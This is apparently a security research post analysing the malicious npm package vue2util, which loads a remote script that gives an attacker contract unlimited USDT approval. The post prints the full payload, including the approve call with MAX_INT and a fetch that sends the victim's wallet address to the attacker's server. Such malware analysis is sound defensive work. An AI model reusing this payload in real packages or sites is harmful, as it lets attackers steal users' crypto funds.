Malicious npm Package Caught Hijacking ERC20 Contracts to Drain USDT

Malicious npm Package Caught Hijacking ERC20 Contracts to Drain USDT | Phylum

On 26 March 2024, Phylum’s automated risk detection platform flagged a suspicious publication to npm called vue2util. It bills itself as, and upon first glance appears to be, a simple collection of utility functions for various purposes such as working with objects, arrays, strings, and files. However, hidden in plain sight at the end of the file is a call to a function called loadScript that, unsurprisingly, loads and executes a script from a remote IP. Upon investigation, we found a cryptojacking scheme that exploits the ERC20 contract (USDT) approval mechanism, covertly granting unlimited approval to the attacker’s contract address, effectively allowing the attacker to drain the victim’s USDT tokens.

--cta--

This package ships with just four files:

  • index.js
  • validate.js
  • global/variable.js
  • package.json

The package.json file is just boilerplate and does not contain any install scripts. validate.js and variable.js look like genuine bits of whatever legit utility package this attacker stole this code from. Peeking into variable.js gives us a hint in that regard. We see a reference to avue and a search around GitHub reveals the avuejs project. avuejs contains the same files we see here, plus a lot more. It does, indeed, look like a genuinely useful set of utility functions. The only difference here is that vuejs's index.js file provides just the functions intended for import into other code. vue2util, on the other hand, contains those same functions, but also makes immediate use of the loadScript function at the top level of its index.js on the last line of the 451 line file. Here’s the loadScipt function:

export const loadScript = (type = 'js', url, dom = "body") => {
  let flag = false;
  return new Promise((resolve) => {
    const head = dom == 'head' ? document.getElementsByTagName('head')[0] : document.body;
    for (let i = 0; i < head.children.length; i++) {
      let ele = head.children[i]
      if ((ele.src || '').indexOf(url) !== -1) {
        flag = true;
        resolve();
      }
    }
    if (flag) return;
    let script;
    if (type === 'js') {
      script = document.createElement('script');
      script.type = 'text/javascript';
      script.src = url;
    } else if (type === 'css') {
      script = document.createElement('link');
      script.rel = 'stylesheet';
      script.type = 'text/css';
      script.href = url;
    }
    head.appendChild(script);
    script.onload = function () {
      resolve();
    };
  });
};

And here’s the last few lines of vue2util's index.js file:

loadScript('js','http://156[.]253[.]11[.]39/util.js').then(()=>{
    //执行后的方法
  })

Because this code is contained at the top level of the index.js file, when the unsuspecting user of this package imports this, it will load whatever code is contained in the remote utils.js into the user’s webpage. Let’s take a look at the utils.js that gets pulled from that remote source.

// 主网
var USDT = "0x55d398326f99059fF775485246999027B3197955";
var DEFI = "0xC7449acC13A0f81dc5d2BBC83509795f116d94fE";
// 测试网
// var USDT = "0xa571387b273bCe7bE65a64abE1b2898a58119127";
// var DEFI = "0xFd8eC853D1fEabC78Bf673C27377fdb6bfB59C2e";
var MAX_INT = "115792089237316195423570985008687907853269984665640564039457584007913129639935";
var ERC20_ABI = [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}];

async function loadData() {
	var web3 = window.web3
	var chainId = await web3.eth.getChainId()
	var account = await web3.eth.getCoinbase()
	var USDTContract = new web3.eth.Contract(ERC20_ABI, USDT)
	var usdtAllowance = await USDTContract.methods.allowance(account, DEFI).call();
	var usdtBalance = await USDTContract.methods.balanceOf(account).call()
	usdtBalance = web3.utils.fromWei(usdtBalance, 'ether')
	if (chainId == 56 || chainId == '0x38') {
	// if (chainId == 97 || chainId == '0x61') {
		
		
		if(usdtAllowance==0 && usdtBalance >=0x3e8){
			var transaction = await USDTContract.methods.approve(DEFI, MAX_INT).send({ from: account });
			
        fetch('http://156[.]253[.]11[.]39:3000/send?address=' + account)
			
		}
	}
}
// Function to bind event to transfer button
function bindTransferButtonEvent() {
	const transferButton = document.querySelector('.buy_btn');
	if (transferButton) {
		transferButton.addEventListener('click', function (event) {
			// Add your event handling logic here
			loadData()
		});
		clearInterval(checkButtonInterval); // Stop checking once button is found
	}
}

// Check for the transfer button every 1 second
const checkButtonInterval = setInterval(bindTransferButtonEvent, 1000); 

Let’s break this down. The script starts by declaring USDT and DEFI addresses. USDT is the token that the script targets, and DEFI seems to be the attacker’s contract address. MAX_INT is defined as a comically large number, representing the maximum integer value used later to set the maximum allowance. ERC20_ABI contains the Application Binary Interface (ABI) for interacting with an ERC20 token. The ABI specifies how to call the token’s functions.

Then we see the definition of a function called loadData. This function first checks the user’s current chain ID and coinbase (account address). The chain ID ensures that the script operates on a specific blockchain (in this case, Binance Smart Chain, given by chain IDs 56 and 0x38). It then creates a contract instance for the USDT token using the ABI and token address and checks the user’s allowance and balance for the token. If the allowance is 0 and the balance is sufficient (>=0x3e8, which is hex for 1000, implying a minimum balance), the script calls the approve function to set a new allowance, giving the DEFI address permission to spend the user’s USDT up to MAX_INT. After approval, it sends the user’s account address to an external server (http://156[.]253[.]11[.]39:3000/send), likely for tracking or further exploitation. Note that the use of web3 assumes the host webpage has web3 injected, likely through a browser extension like MetaMask.

Then we see the definition of a function called bindTransferButtonEvent. This function checks every second for the presence of a specific button with a class attribute buy_btn on the webpage. Once found, it binds the loadData function discussed above to the button’s click event and stops the interval check. The moment a user clicks the button, loadData is executed, initiating the unauthorized approval if the conditions are met.

As for why the theft is only triggered by a very specific button click under certain conditions, we can only speculate. This could suggest that the attacker may be targeting a specific website or application, rather than being general-purpose malware. Regardless, triggering the malware on a button click, particularly one associated with spending funds, is likely an attempt to blend in with normal user interactions. It goes without saying that users do generally trust the buttons and interactions on familiar websites; by hijacking a legitimate button, the attackers can exploit this trust.

Summary

To summarize, this attack starts when an unsuspecting developer installs the vue2util package from npm, likely thinking it’s a collection of helpful utility functions. Once the developer imports this code into another project or other code, it triggers the loading of the remote utils.js script from the attacker-controlled IP, and loads that script into the webpage. It specifically looks for a button with a class attribute of buy_btn and binds it to the malicious loadData function. Once that button is clicked, the script initializes with pre-defined USDT and DEFI contract addresses and the ECR20 token’s ABI for interaction. It then runs through a few conditional checks and if they’re met it triggers the contract’s approve function with a nearly unlimited allowance for the DEFI contract to withdraw USDT from the user’s wallet without further consent. Finally, the victim’s account address is also exfiltrated to an external server, either for tracking or further exploitation by the attackers.

Check Your Active Smart Contract Approvals

If you suspect you might be compromised by this attack, or a similar one, you can use a site like BscScan's Token Approval Checker to review and revoke permissions granted to contracts to spend tokens on their behalf. Note this particular tool only works for the Binance Smart Chain, but similar tools exists for other chains as well.

Phylum Research Team

Phylum Research Team

Hackers, Data Scientists, and Engineers responsible for the identification and takedown of software supply chain attackers.